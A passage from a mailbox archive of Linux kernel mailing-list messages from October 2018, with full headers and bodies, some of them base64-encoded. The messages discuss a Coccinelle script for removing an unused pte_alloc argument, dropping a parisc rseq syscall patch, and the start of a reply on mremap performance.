 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4537 gmane.linux.kernel.janitors:54783 gmane.linux.ports.mips.general:67055 gmane.linux.ports.ia64:29388 gmane.linux.ports.sh.devel:57636 gmane.linux.kernel.mm:205191 gmane.linux.ports.sparc:28559 gmane.linux.ports.riscv:1056 gmane.comp.emulators.kvm.arm.devel:19444 gmane.linux.ports.hexagon:1911 gmane.linux.ports.arm.kernel:679390 gmane.linux.ports.parisc:29163 gmane.linux.kernel:2897946 gmane.linux.ports.alpha:5313 gmane.linux.ports.ppc64.devel:164159
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4537>

PiBUaGUgY2hhbmdlcyB3ZXJlIG9idGFpbmVkIGJ5IGFwcGx5aW5nIHRoZSBmb2xsb3dpbmcgQ29j
Y2luZWxsZSBzY3JpcHQuCgpBIGJpdCBvZiBjbGFyaWZpY2F0aW9uIGhhcHBlbmVkIGZvciBpdHMg
aW1wbGVtZW50YXRpb24gZGV0YWlscy4KaHR0cHM6Ly9zeXN0ZW1lLmxpcDYuZnIvcGlwZXJtYWls
L2NvY2NpLzIwMTgtT2N0b2Jlci8wMDUzNzQuaHRtbAoKSSBoYXZlIHRha2VuIGFsc28gYW5vdGhl
ciBsb29rIGF0IHRoZSBmb2xsb3dpbmcgU21QTCBjb2RlLgoKCj4gaWRlbnRpZmllciBmbiA9fgo+
ICJeKF9fcHRlX2FsbG9jfHB0ZV9hbGxvY19vbmV8cHRlX2FsbG9jfF9fcHRlX2FsbG9jX2tlcm5l
bHxwdGVfYWxsb2Nfb25lX2tlcm5lbCkkIjsKCkkgc3VnZ2VzdCB0byBhZGp1c3QgdGhlIHJlZ3Vs
YXIgZXhwcmVzc2lvbiBmb3IgdGhpcyBjb25zdHJhaW50CmFuZCBpbiBzdWJzZXF1ZW50IFNtUEwg
cnVsZXMuCgoiXig/OnB0ZV9hbGxvYyg/Ol9vbmUoPzpfa2VybmVsKT8pP3xfX3B0ZV9hbGxvYyg/
Ol9rZXJuZWwpPykkIjsKCgo+ICgKPiAtIFQzIGZuKFQxIEUxLCBUMiBFMik7Cj4gKyBUMyBmbihU
MSBFMSk7Cj4gfAo+IC0gVDMgZm4oVDEgRTEsIFQyIEUyLCBUNCBFNCk7Cj4gKyBUMyBmbihUMSBF
MSwgVDIgRTIpOwo+ICkKCkkgcHJvcG9zZSB0byB0YWtlIGFuIG90aGVyIFNtUEwgZGlzanVuY3Rp
b24gaW50byBhY2NvdW50IGhlcmUuCgogVDMgZm4oVDEgRTEsCigKLSAgICAgIFQyIEUyCnwgICAg
ICBUMiBFMiwKLSAgICAgIFQ0IEU0CikgICAgICApOwoKCj4gKAo+IC0gI2RlZmluZSBmbihhLCBi
LCBjKUBwIGUKPiArICNkZWZpbmUgZm4oYSwgYikgZQo+IHwKPiAtICNkZWZpbmUgZm4oYSwgYilA
cCBlCj4gKyAjZGVmaW5lIGZuKGEpIGUKPiApCgpIb3cgZG8geW91IHRoaW5rIGFib3V0IHRvIG9t
aXQgdGhlIG1ldGF2YXJpYWJsZSDigJxwb3NpdGlvbiBw4oCdIGhlcmU/CgpSZWdhcmRzLApNYXJr
dXMKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmxpbnV4
LXNucHMtYXJjIG1haWxpbmcgbGlzdApsaW51eC1zbnBzLWFyY0BsaXN0cy5pbmZyYWRlYWQub3Jn
Cmh0dHA6Ly9saXN0cy5pbmZyYWRlYWQub3JnL21haWxtYW4vbGlzdGluZm8vbGludXgtc25wcy1h
cmM=


From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.janitors,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 12:42:10 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20181012194210.GA27630@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <03b524f3-5f3a-baa0-2254-9c588103d2d6@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539373230 25570 195.159.176.226 (12 Oct 2018 19:40:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 19:40:30 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, kernel-janitors@vger.kernel.org,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org,
 Lokesh Gidra <lokeshgidra@google.com>, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, kvmarm@lists.cs.columbia.edu,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Daniel Colascione <dancol@google.com>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Hugh Dickins <hughd@google.com>,
 "James E. J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com,
 Ingo M
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 21:40:21 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB3IL-0006TG-5R
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 21:40:21 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=FrZ0b+NgKD7+5YKJ6J4ES88L1faYrWhV97OfkWWyMHY=; b=LVhBwzfXgjV8Io
	ZIe/BQu+6Wt185rIOneR5ajPZOSxa5ouI+4fU/1YTt+uEaF/+D80N0QPbSVGoiJvKp1Uc0fa7+EBw
	x0AbI9GhuFR/6Q0ZM6IWVtIaKNeQp3QpV8fLaqWeiQ3LAMHIhGuH+Ot8iskDffTtSGV8/t+YjVNOj
	05Na+6XvfMmq25xMutDMKbvhreeapxoNTKmRp24axHDBIlGfITvwZUJgRuayBCr6zHWNq4+tO18WB
	qs7e5LvBDDUamyvOv5Jfme84fodMZOCvHtxfuTVdyvhklEsbIlYZqGXinpZicVsYVvhadxtmWY6gN
	wyP2VB5ffn+/5bogv+4g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB3KO-0003tP-DZ; Fri, 12 Oct 2018 19:42:28 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB3KJ-0003rX-UB
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 19:42:25 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id f26-v6so6676407pfn.9
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 12:42:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:content-transfer-encoding:in-reply-to
 :user-agent; bh=7HZNZsB1jLEFaholpalHaVYnkWxxqdQS2UbsT4fFuJY=;
 b=Z8gYJNm7ONxx3qybdg27wFRSoVULBn2tUUBtRitXwUvZz3AhLFXo+FQIkGmVSgFidC
 qSw7CPJOp1WJWKXTflv0xxIw2LNh5s0xIfzOfYgIhSxjNXxUmUyqLzzwB0ATx3kCdzlg
 oxaGTQ7SptXZTjdi/GmovUe6gMn7aR4yslCfc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:content-transfer-encoding
 :in-reply-to:user-agent;
 bh=7HZNZsB1jLEFaholpalHaVYnkWxxqdQS2UbsT4fFuJY=;
 b=DDbgkjFUcKVlo15ovELhBtwqPq+24Anjht7LyJE8TJK1h3Ic1jdZOULsqtS9yC4MCJ
 1fjwgg4RZjAtpKrPluxcAKWDe4Is2TkN52mX9z6Fuq2cLByqX8EOi2/AotEk5egLKG51
 1JyxCj7f2BYgzzdkUNG/y2PO3aa4oEX2lknVRaIAsoR6ydQe4DsriPSwI4ve89WTZQyK
 KLiGxaIJXcNof8FrfLNkdnrWXf348OtzrPKKenzRuoFkM46oUzRxjnna2+qeuGPtKxxG
 mDRAsRh70uMP9aACAIcruyzudF/N1+KxaS0tZRqN7/itbiZjF2Ef/RsR7TE8lRDpZyGX
 K8ag==
X-Gm-Message-State: ABuFfojVD7zCZ54tPYbsm4olWgNNOZSf89YlWIC9AdNg3XnYjcUdkhHB
 v0PT30Dmd7Xz/6/bsqTg8js63Q==
X-Google-Smtp-Source: ACcGV62ghsr+2nsme8ztf1h/ejIwFwjRsZeeKiC6kJsMYRGK5dHID+ZMDEAPamf9Lz3JQcU3Yz/xdw==
X-Received: by 2002:a63:f922:: with SMTP id
 h34-v6mr6748971pgi.154.1539373332263; 
 Fri, 12 Oct 2018 12:42:12 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id k70-v6sm3054384pfc.76.2018.10.12.12.42.10
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 12:42:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <03b524f3-5f3a-baa0-2254-9c588103d2d6@users.sourceforge.net>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_124224_010645_B6132602 
X-CRM114-Status: GOOD (  14.33  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1057 gmane.linux.ports.mips.general:67056 gmane.linux.ports.ia64:29390 gmane.linux.ports.sh.devel:57637 gmane.linux.kernel.janitors:54784 gmane.linux.kernel.mm:205193 gmane.linux.ports.sparc:28560 gmane.comp.emulators.kvm.arm.devel:19449 gmane.linux.ports.hexagon:1912 gmane.linux.kernel.arc:4539 gmane.linux.ports.arm.kernel:679402 gmane.linux.ports.parisc:29164 gmane.linux.kernel:2897972 gmane.linux.ports.alpha:5314 gmane.linux.ports.ppc64.devel:164160
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1057>

T24gRnJpLCBPY3QgMTIsIDIwMTggYXQgMDg6NTE6NDVQTSArMDIwMCwgU0YgTWFya3VzIEVsZnJp
bmcgd3JvdGU6Cj4gPiBUaGUgY2hhbmdlcyB3ZXJlIG9idGFpbmVkIGJ5IGFwcGx5aW5nIHRoZSBm
b2xsb3dpbmcgQ29jY2luZWxsZSBzY3JpcHQuCj4gCj4gQSBiaXQgb2YgY2xhcmlmaWNhdGlvbiBo
YXBwZW5lZCBmb3IgaXRzIGltcGxlbWVudGF0aW9uIGRldGFpbHMuCj4gaHR0cHM6Ly9zeXN0ZW1l
LmxpcDYuZnIvcGlwZXJtYWlsL2NvY2NpLzIwMTgtT2N0b2Jlci8wMDUzNzQuaHRtbAo+IAo+IEkg
aGF2ZSB0YWtlbiBhbHNvIGFub3RoZXIgbG9vayBhdCB0aGUgZm9sbG93aW5nIFNtUEwgY29kZS4K
PiAKPiAKPiA+IGlkZW50aWZpZXIgZm4gPX4KPiA+ICJeKF9fcHRlX2FsbG9jfHB0ZV9hbGxvY19v
bmV8cHRlX2FsbG9jfF9fcHRlX2FsbG9jX2tlcm5lbHxwdGVfYWxsb2Nfb25lX2tlcm5lbCkkIjsK
PiAKPiBJIHN1Z2dlc3QgdG8gYWRqdXN0IHRoZSByZWd1bGFyIGV4cHJlc3Npb24gZm9yIHRoaXMg
Y29uc3RyYWludAo+IGFuZCBpbiBzdWJzZXF1ZW50IFNtUEwgcnVsZXMuCj4gIl4oPzpwdGVfYWxs
b2MoPzpfb25lKD86X2tlcm5lbCk/KT98X19wdGVfYWxsb2MoPzpfa2VybmVsKT8pJCI7CgpTdXJl
IGl0IGxvb2tzIG1vcmUgY2xldmVyLCBidXQgd2h5PyBVZ2ggdGhhdCdzIGhhcmRlciB0byByZWFk
IGFuZCBjb25mdXNpbmcuCgo+ID4gKAo+ID4gLSBUMyBmbihUMSBFMSwgVDIgRTIpOwo+ID4gKyBU
MyBmbihUMSBFMSk7Cj4gPiB8Cj4gPiAtIFQzIGZuKFQxIEUxLCBUMiBFMiwgVDQgRTQpOwo+ID4g
KyBUMyBmbihUMSBFMSwgVDIgRTIpOwo+ID4gKQo+IAo+IEkgcHJvcG9zZSB0byB0YWtlIGFuIG90
aGVyIFNtUEwgZGlzanVuY3Rpb24gaW50byBhY2NvdW50IGhlcmUuCj4gCj4gIFQzIGZuKFQxIEUx
LAo+ICgKPiAtICAgICAgVDIgRTIKPiB8ICAgICAgVDIgRTIsCj4gLSAgICAgIFQ0IEU0Cj4gKSAg
ICAgICk7CgpBZ2FpbiB0aGlzIGlzIGNvbmZ1c2luZy4gSXQgbWFrZXMgb25lIHRoaW5rIHRoYXQg
bWF5YmUgdGhlIHNlY29uZCBhcmd1bWVudApjYW4gYWxzbyBiZSByZW1vdmVkIGFuZCByZXF1aXJl
cyBjYXJlZnVsIG9ic2VydmF0aW9uIHRoYXQgdGhlICIpOyIgZm9sbG93cy4KCj4gPiAoCj4gPiAt
ICNkZWZpbmUgZm4oYSwgYiwgYylAcCBlCj4gPiArICNkZWZpbmUgZm4oYSwgYikgZQo+ID4gfAo+
ID4gLSAjZGVmaW5lIGZuKGEsIGIpQHAgZQo+ID4gKyAjZGVmaW5lIGZuKGEpIGUKPiA+ICkKPiAK
PiBIb3cgZG8geW91IHRoaW5rIGFib3V0IHRvIG9taXQgdGhlIG1ldGF2YXJpYWJsZSDigJxwb3Np
dGlvbiBw4oCdIGhlcmU/CgpSaWdodCwgSSBkb24ndCBuZWVkIGl0IGluIHRoaXMgY2FzZS4gQnV0
IHRoZSBzY3JpcHQgd29ya3MgZWl0aGVyIHdheS4KCkkgbGlrZSB0byB0YWtlIG1vcmUgb2YgYSBw
cm9ibGVtIHNvbHZpbmcgYXBwcm9hY2ggdGhhdCBtYWtlcyBzZW5zZSwgdGhhbgphaW1pbmcgZm9y
IHBlcmZlY3Rpb24sIGFmdGVyIGFsbCB0aGlzIGlzIGEgdXNlZnVsIHNjcmlwdCB0aGF0IHdlIGRv
IG5vdApuZWVkIHRvIGNoZWNrIGluIG9uY2Ugd2UgZmluaXNoIHdpdGggaXQuCgogLSBKb2VsCgoK
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KbGludXgtcmlz
Y3YgbWFpbGluZyBsaXN0CmxpbnV4LXJpc2N2QGxpc3RzLmluZnJhZGVhZC5vcmcKaHR0cDovL2xp
c3RzLmluZnJhZGVhZC5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51eC1yaXNjdgo=


From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Fri, 12 Oct 2018 22:23:29 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <71ea9dc5-7502-40af-2022-b2196dd2d690@gmx.de>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-6-git-send-email-firoz.khan@linaro.org>
 <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
 <CALxhOnhj7qUj57tLX12KmbcE5G-zDK2Qf2fTUbQ=jpmiUcr52w@mail.gmail.com>
 <CAK8P3a3BjuLQh0hTPFTDTkipXXQ+j8ADqbWmNpimkMDzoORkRA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539375700 9843 195.159.176.226 (12 Oct 2018 20:21:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 20:21:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>, Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 22:21:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB3wC-0002Ld-J4
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 22:21:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726942AbeJMD5w (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 23:57:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54095 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726227AbeJMD5w (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 23:57:52 -0400
Original-Received: from [192.168.20.60] ([92.116.158.110]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Le69A-1fsZ941ANA-00priv; Fri, 12
 Oct 2018 22:23:30 +0200
Original-Received: from [192.168.20.60] ([92.116.158.110]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Le69A-1fsZ941ANA-00priv; Fri, 12
 Oct 2018 22:23:30 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAK8P3a3BjuLQh0hTPFTDTkipXXQ+j8ADqbWmNpimkMDzoORkRA@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:gw2BrElVPRj3kCZ20TAt6HobxEiK5TMmMvbuDdQuU3GDIfsSuhK
 We4fav2S5YJqTTqe6Y4d2FX5Pnka+WidtQxMrjBA38QBNMzEx+8TozWhc0lNYgZShDGOFln
 VqapacWqF49Z02mlJZn4/7MFiJwcuSO2ndTonAkZdC8EWljVOK4auZuxd7eeuabKAwHXwir
 n8jv0I21tvqFkyNrPwjPw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wXiX8htEITw=:oF6S8MznspJWnGbl2MBhcu
 Rg05u5r/ANiQlv/utq13PPvMptzZrDEt57lOeclZv2FHUXXcGE9SEl67fZ+cy0kbbrhyW2Tmn
 DTZOT71Tn2pzouQt7Xb+UYyqknimjFAtyZTqt/59c89IuK82fOh2EAOGFscaIPBSbEwDPXxrc
 oTvRQqr/00jOFUl8FWP/zBXQRNdYPHlm50JTdRp3BooqakKBdDK2mpPpliMHldHbf7WmAprCn
 HmU1/v0+02UN/pnRkbhNughahUDP8WyK2W+RvzPuFQghbGnj3U8oHcBa40A09bJK3jE68RMmq
 OzfBF0KdQtW2HFVmZyn3e6YMnlM0P07+tzcTy06EXY23HG9U12kcsq2dlhGlnsxlZUMQmhiaz
 omG9xyz2hLyKvYKftC+pP6tUkFz/7C3sXcgWvZFDz1kqXV5Kp5TnkTCTcjFJZ4BLtATgFWH6e
 KTq3efLwhg++nLCzJpnvhHIbratEmxakT3jgelbqGYIGXjyoVHqaIiqupebN3R0GwYn7Nq7AZ
 azLhA4M4TxqfZeYs+b1d0TQVXH4U5iJMWE2EYZaUg+EE6yD3A/mwwtPZBtW3ZJbg7KKS/v6bJ
 Q1dDJDemd4pgAYWPblXv9iP977doTXdxtBjZHYRhx37BoTf4MRF8k5C1JqgAQYPfHlA9cN3YL
 UiVA0wIYNvfzoTdeZY4epo+/9BKLQSZHpqC8nDRw68JeiYT/KMkpcf+nlciqsTzcr+0RCUpN2
 J3JumGu/PTEtxhYTkIM4iBzPki1IFXPhBkLEoQ2e10JZEUmoT0uzUH1qAdWXqZ49orelzIxb 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898003 gmane.linux.ports.parisc:29165 gmane.linux.kernel.year-2038:3521 gmane.linux.kernel.cross-arch:47752
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898003>

On 12.10.2018 13:52, Arnd Bergmann wrote:
> On Fri, Oct 12, 2018 at 12:16 PM Firoz Khan <firoz.khan@linaro.org> wrote:
>>
>> Hi Arnd,
>>
>> On Fri, 12 Oct 2018 at 15:26, Arnd Bergmann <arnd@arndb.de> wrote:
>>>
>>> On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:
>>>>
>>>> Wire up rseq system call requires an architecture specific
>>>> implementation as it not present now.
>>>>
>>>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
>>>
>>> Didn't we conclude that this should be skipped?
>>
>> Helge told "I prefer to keep the warning for rseq for now.
>> It reminds me that we still may want the rseq syscall.
>> If the warning is a problem, you may simply add the __IGNORE_rseq define."
>>
>> I chose this option; I feel it looks clean
>> "# rseq requires an architecture specific implementation" in syscall.tbl
>> hopefully remind him to add rseq syscall implementation in this architecture.
> 
> But he said he wants the warning instead.

Correct.
Firoz, please simply drop this patch completely.
That way one will see generated warnings about the missing rseq (which is what
we want).

Thanks,
Helge


From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Sat, 13 Oct 2018 00:33:59 +0300
Lines: 88
Approved: news@gmane.org
Message-ID: <20181012213359.qpvq3obugbvy73bg@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012131946.zoab2lpfmrycmuju@kshutemo-mobl1>
 <20181012165719.GE223066@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539379948 24448 195.159.176.226 (12 Oct 2018 21:32:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 21:32:28 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
